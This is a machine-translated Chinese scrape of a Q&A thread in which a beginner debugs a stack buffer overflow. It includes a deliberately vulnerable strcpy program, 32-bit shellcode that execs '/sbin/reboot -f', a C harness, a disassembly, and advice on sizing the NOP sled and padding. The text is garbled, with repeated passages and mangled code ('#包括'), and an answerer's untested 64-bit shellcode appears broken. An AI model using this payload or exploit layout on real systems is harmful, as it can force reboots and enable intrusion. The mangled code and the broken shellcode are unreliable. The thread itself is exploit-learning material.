Python 分段故障外壳代码测试kali 2018
我读过很多文章和例子,但我不知道我现在能做什么。因此,我想测试此易受攻击程序的外壳代码:Python 分段故障外壳代码测试kali 2018,python,c,shell,reverse-engineering,payload,Python,C,Shell,Reverse Engineering,Payload,我读过很多文章和例子,但我不知道我现在能做什么。因此,我想测试此易受攻击程序的外壳代码: #include <string.h> #include <stdio.h> void main(int argc, char *argv[]) { copier(argv[1]); printf("Done!\n"); } int copier(char *str) { char buffer[100]; strcpy(buffer, str); }
#include <string.h>
#include <stdio.h>
void main(int argc, char *argv[]) {
copier(argv[1]);
printf("Done!\n");
}
int copier(char *str) {
char buffer[100];
strcpy(buffer, str);
}
在这里,您可以看到我的外壳代码已正确加载:
来自esp的寄存器
我的回信地址是:0xbffff170。那么为什么我的程序不起作用呢?请帮助我根据我的计算,这就是您的外壳代码正在执行的操作(此处采用英特尔汇编语法): 分段错误发生在
0xbfff1b8
,即使您可以看到操作码完全有效。那么会发生什么呢?让我们看看
您可能会注意到有相当多的push
ing正在进行。所有这些push
e将覆盖调用堆栈中的数据。准确地说,总共有34个字节
是的,外壳代码本身所在的调用堆栈。。。你把这些点连起来了吗?外壳代码正在覆盖自身并销毁自己的代码。它一开始很好,但当它到达0xbfff1b8
时,有效代码不再存在,因为它完全被其他内容覆盖
您需要确保填充
和eip
的长度组合为34或更多,以便外壳代码在开始覆盖自己的代码之前有足够的堆栈空间
也就是说,填充
必须至少长18个字节
将noplied
长度削减32个字节,只是为了使其更宽敞,然后将这些字节转移到填充
。这应该为外壳代码保留足够的堆栈空间,以便在不破坏自身的情况下完成它的工作
而且由于eip
地址在外壳代码开始之前当前为44字节,因此无需对其进行调整
还有其他需要观察的事情,首先,一旦外壳代码运行完毕,它就不再关心接下来会发生什么。这意味着即使在按预期工作时,该程序也会在调用重新启动后崩溃
另外,
/sbin/reboot
可能需要root访问权限才能工作。如果此进程不是以root用户身份运行,它将不会重新启动(它将崩溃)。@Havenard我不知道我做错了什么。我修改了我的代码,所以现在有24字节的nopsled,36字节的外壳代码,44字节的填充,然后返回地址。如下所示:
我在根帐户,所以它应该工作。当我使用shell strom的代码时,它会正常重启我的计算机。我的意思是当我编译和运行下面的代码作为普通程序时:
#include <stdio.h>
#include <string.h>
char *shellcode = "\x31\xc0\x50\x68\x62\x6f\x6f\x74\x68\x6e"
"\x2f\x72\x65\x68\x2f\x73\x62\x69\x89\xe3"
"\x50\x66\x68\x2d\x66\x89\xe6\x50\x56\x53"
"\x89\xe1\xb0\x0b\xcd\x80";
int main(void)
{
fprintf(stdout,"Length: %d\n",strlen(shellcode));
(*(void(*)()) shellcode)();
return 0;
}
#包括
#包括
char*shellcode=“\x31\xc0\x50\x68\x62\x6f\x6f\x74\x68\x6e”
“\x2f\x72\x65\x68\x2f\x73\x62\x69\x89\xe3”
“\x50\x66\x68\x2d\x66\x89\xe6\x50\x56\x53”
“\x89\xe1\xb0\x0b\xcd\x80”;
内部主(空)
{
fprintf(stdout,“长度:%d\n”,strlen(外壳代码));
(*(无效(*)()外壳代码)();
返回0;
}
python和C脚本如何传递值?您是如何编译C代码的?您可能想尝试反汇编可执行文件,以确保它确实易受攻击。@Shlomi Agiv我不知道,我只是按照tutorial@DanielPryden我用-g-z execstack编译了它-没有派旗手,但我只是初学者,我不确定我是否正确理解了你。我的外壳代码是36字节长。我在外壳代码之前创建了64字节的nopsled,在外壳代码之后创建了16字节的填充(116-64-36),并在最后添加了返回地址。那么您要说的是创建32字节的nopled+36字节的外壳代码+32字节的填充,然后返回地址?当我这样做的时候,我的程序没有分段错误,但是外壳代码不是executing@Shirakumo我重新制定了我的答案,我希望它现在更清楚。我拍摄了我修改程序的新截图,请看下面我的答案。我不知道它为什么不起作用。在你最初的屏幕截图上,我可以告诉你,只要看看堆栈中的内容(从0x909090
到0xbffff170
)我就可以告诉你,在这张图中,我看到了104个字节。显然,您的有效负载有问题。另外,缓冲区
的地址也发生了变化,这很奇怪,但它仍然可以工作。nopled
不应该有32个字节吗?“它似乎只有20个。”哈夫纳德我现在很困惑。我还发现,当我在32位或64位虚拟机上工作时,情况会有所不同。当我学习YT教程和32位系统上的反汇编函数main时,我的结果与教程不同。当我使用64位系统时,它看起来是一样的,但esp被更改为rsp,所以我的返回地址是6字节,那么我如何将其放入我的代码中呢?到目前为止,我只找到了一个对我有用的教程,但当我试图编辑它时。。。它在64位体系结构中不工作,内存地址是64位(8字节)。整个外壳代码都必须更改。它只与32位系统兼容。好吧,32位是一个垂死的平台,现在几乎所有的东西都使用64位,即使它没有超过4GB的内存可供寻址,但你可能很难找到这种64位黑客的学习材料。32位已经存在了很长一段时间,特别是在黑客攻击成为热门话题的时期,几乎所有的文献都提到32位系统。无论如何,如果你想在64位中尝试,我相信这个版本的外壳代码应该可以工作:“\x48\x31\xC0\x50\x68\x62\x6F\x6F\x74\x68\x6E\x2F\x72\x65\x68\x2F\x73\x62\x69\x48\x89\xE3\x50\x66\x68\x2D\x66\x48\xE6\x50\x56\x53\x48\x88\x89\xE1\x60\x60\x50\x50\x50\x50\x50\x50\x53\x80\x80\x80\x80\x80\x50”我还没有测试过它,但它现在与64位兼容。这个外壳代码现在需要40字节的堆栈空间和54字节的工作空间。
0xbffff19c: 31 c0 xor eax,eax
0xbffff19e: 50 push eax
0xbffff19f: 68 62 6f 6f 74 push 0x746f6f62
0xbffff1a3: 68 6e 2f 72 65 push 0x65722f6e
0xbffff1a9: 68 2f 73 62 69 push 0x6962732f
0xbffff1ae: 89 e3 mov ebx,esp
0xbffff1b0: 50 push eax
0xbffff1b1: 66 68 2d 66 pushw 0x662d
0xbffff1b5: 89 e6 mov esi,esp
0xbffff1b7: 50 push eax
0xbffff1b8: 56 push esi
0xbffff1b9: 53 push ebx
0xbffff1ba: 89 e1 mov ecx,esp ; ecx = (char**) {"/sbin/reboot", "-f"}
0xbffff1bc: b0 0b mov al,0xb
0xbffff1be: cd 80 int 0x80 ; syscall sys_execve()
#include <stdio.h>
#include <string.h>
char *shellcode = "\x31\xc0\x50\x68\x62\x6f\x6f\x74\x68\x6e"
"\x2f\x72\x65\x68\x2f\x73\x62\x69\x89\xe3"
"\x50\x66\x68\x2d\x66\x89\xe6\x50\x56\x53"
"\x89\xe1\xb0\x0b\xcd\x80";
int main(void)
{
fprintf(stdout,"Length: %d\n",strlen(shellcode));
(*(void(*)()) shellcode)();
return 0;
}